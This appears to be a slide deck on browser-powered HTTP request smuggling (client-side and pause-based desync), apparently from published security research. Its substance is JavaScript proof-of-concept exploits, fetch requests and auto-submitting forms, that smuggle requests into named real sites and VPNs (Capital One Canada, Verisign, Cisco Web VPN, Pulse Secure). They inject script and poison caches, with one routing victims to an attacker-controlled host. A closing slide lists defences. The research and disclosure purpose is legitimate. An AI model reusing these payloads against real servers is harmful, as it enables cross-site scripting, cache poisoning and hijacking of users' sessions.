changed 2 years ago
Published Linked with GitHub

Browser-Powered Desync Attacks

A New Frontier in HTTP Request Smuggling


Outline

HTTP handling anomalies

Client-side desync

Pause-based desync

Defence & Takeaways


HTTP handling anomalies


Connection state attacks

First-request validation


Connection state attacks

First-request routing


The surprise factor


Detecting connection-locked CL.TE


Detecting connection-locked CL.TE

  • Is the front-end using the Content-Length?


Detecting connection-locked CL.TE

  • Is the front-end using the Content-Length? No


Detecting connection-locked CL.TE

  • Is the front-end using the Content-Length? Yes


CL.0 browser-compatible desync


CL.0 browser-compatible desync


H2.0 on amazon.com


H2.0 on amazon.com


Client-side desync


Client-side desync


Client-side desync


Client-side desync


Client-side desync


Client-side desync-case study


Akamai


Akamai - Detect


Akamai - Explore(Stacked HEAD)


Akamai - Attack

fetch('https://www.capitalone.ca/assets', {
    method: 'POST',
    // use a cache-buster to delay the response
    body:  `HEAD /404/?cb=${Date.now()} HTTP/1.1\r\n
            Host: www.capitalone.ca\r\n
            \r\n
            GET /x?x=<script>alert(1)</script> HTTP/1.1\r\n
            X: Y`,
    credentials: 'include',
    mode: 'cors' // throw an error instead of following redirect
}).catch(() => {
    location = 'https://www.capitalone.ca/'
})

Cisco Web VPN


Cisco Web VPN

https://psres.net/launchAttack.html:


Cisco Web VPN

fetch('https://redacted/', {
    method: 'POST',
    body: "GET /+webvpn+/ HTTP/1.1\r\nHost: x.psres.net\r\nX: Y",                 credentials: 'include'
}).catch(() => {
    location = 'https://redacted/+CSCOE+/win.js'
})

Cisco Web VPN


Verisign


Verisign


Verisign

fetch('https://www.verisign.com/%2f', { 
        method: 'POST',
        body: `HEAD /assets/languagefiles/AZE.html HTTP/1.1\r\nHost: www.verisign.com\r\nConnection: keep-alive\r\nTransfer-Encoding: chunked\r\n\r\n34d\r\nx`, 
        credentials: 'include',
        headers: {'Content-Type': 'application/x-www-form-urlencoded'
    }}).catch(() => {
        let form = document.createElement('form')
        form.method = 'POST'
        form.action = 'https://www.verisign.com/robots.txt'
        form.enctype = 'text/plain'
        let input = document.createElement('input')
        input.name = '0\r\n\r\nGET /<svg/onload=alert(1)> HTTP/1.1\r\nHost: www.verisign.com\r\n\r\nGET /?aaaaaaaaaaaaaaa HTTP/1.1\r\nHost: www.verisign.com\r\n\r\n'
        input.value = ''
        form.appendChild(input)
        document.body.appendChild(form)
        form.submit()
    })

Pulse Secure VPN


Pulse Secure VPN

<script>
        function reset() {
        fetch('https://vpn.redacted/robots.txt', {mode: 'no-cors', credentials: 'include'})
        .then(() => {
            x.location = "https://vpn.redacted/dana-na/meeting/meeting_testjs.cgi?cb="+Date.now()
            })
        setTimeout(poison, 120) // worked on 140. went down to 110
        }
    
        function poison(){
        sendPoison()
        sendPoison()
        sendPoison()
        setTimeout(reset, 1000)
        }
    
        function sendPoison(){
        fetch('https://vpn.redacted/dana-na/css/ds_1234cb049586a32ce264fd67d524d7271e4affc0e377d7aede9db4be17f57fc1.css', {method: 'POST', body: 'GET /xdana-na/imgs/footerbg.gif HTTP/1.1\r\nHost: x.psres.net\r\nFoo: '+'a'.repeat(9826)+'\r\nConnection: keep-alive\r\n\r\n', mode: 'no-cors', credentials: 'include'})
        }
    
    </script>
    <a onclick="x = window.open('about:blank'); reset()">Start attack</a>

Pause-based desync


Pause-based desync - Varnish & Apache


Pause-based desync - ALB


Pause-based desync - ALB


Pause-based desync - Matching timeouts


Pause-based desync - MITM

  • The theory:
    • Aaacker website sends request, padded to cause TCP fragmentabon
    • MITM idenbfies the TCP packet containing the request body via the size
    • MITM delays this packet, causing a server bmeout & pause-based desync
    • The delayed packet is then interpreted as a new messag

Pause-based desync - MITM


Pause-based desync

let form = document.createElement('form')
form.method = 'POST'
form.enctype = 'text/plain'
form.action =
'https://x.psres.net:6082/redirect?'+"h".repeat(600)+ Date.now()
let input = document.createElement('input')
input.name = "HEAD / HTTP/1.1\r\nHost: x\r\n\r\nGET
/redirect?<script>alert(document.domain)</script>
HTTP/1.1\r\nHost: x\r\nFoo: bar"+"\r\n\r\n".repeat(1700)+"x"
input.value = "x"
form.append(input)
document.body.appendChild(form)
form.submit()

Defence

  • Use HTTP/2 end to end
    • Don’t downgrade/rewrite HTTP/2 requests to HTTP/1
  • Don't roll your own HTTP server, but if you do:
    • Never assume a request has no body
    • Default to discarding the connection
    • Don't attach state to a connection
    • Either support chunked encoding, or reset the connection.
    • Support HTTP/2

Takeaways

  • The request is a lie
  • HTTP/1.1 connec5on-reuse is harmful
  • All you need is a server taken by surprise

End


Reference

Source
Slide

Select a repo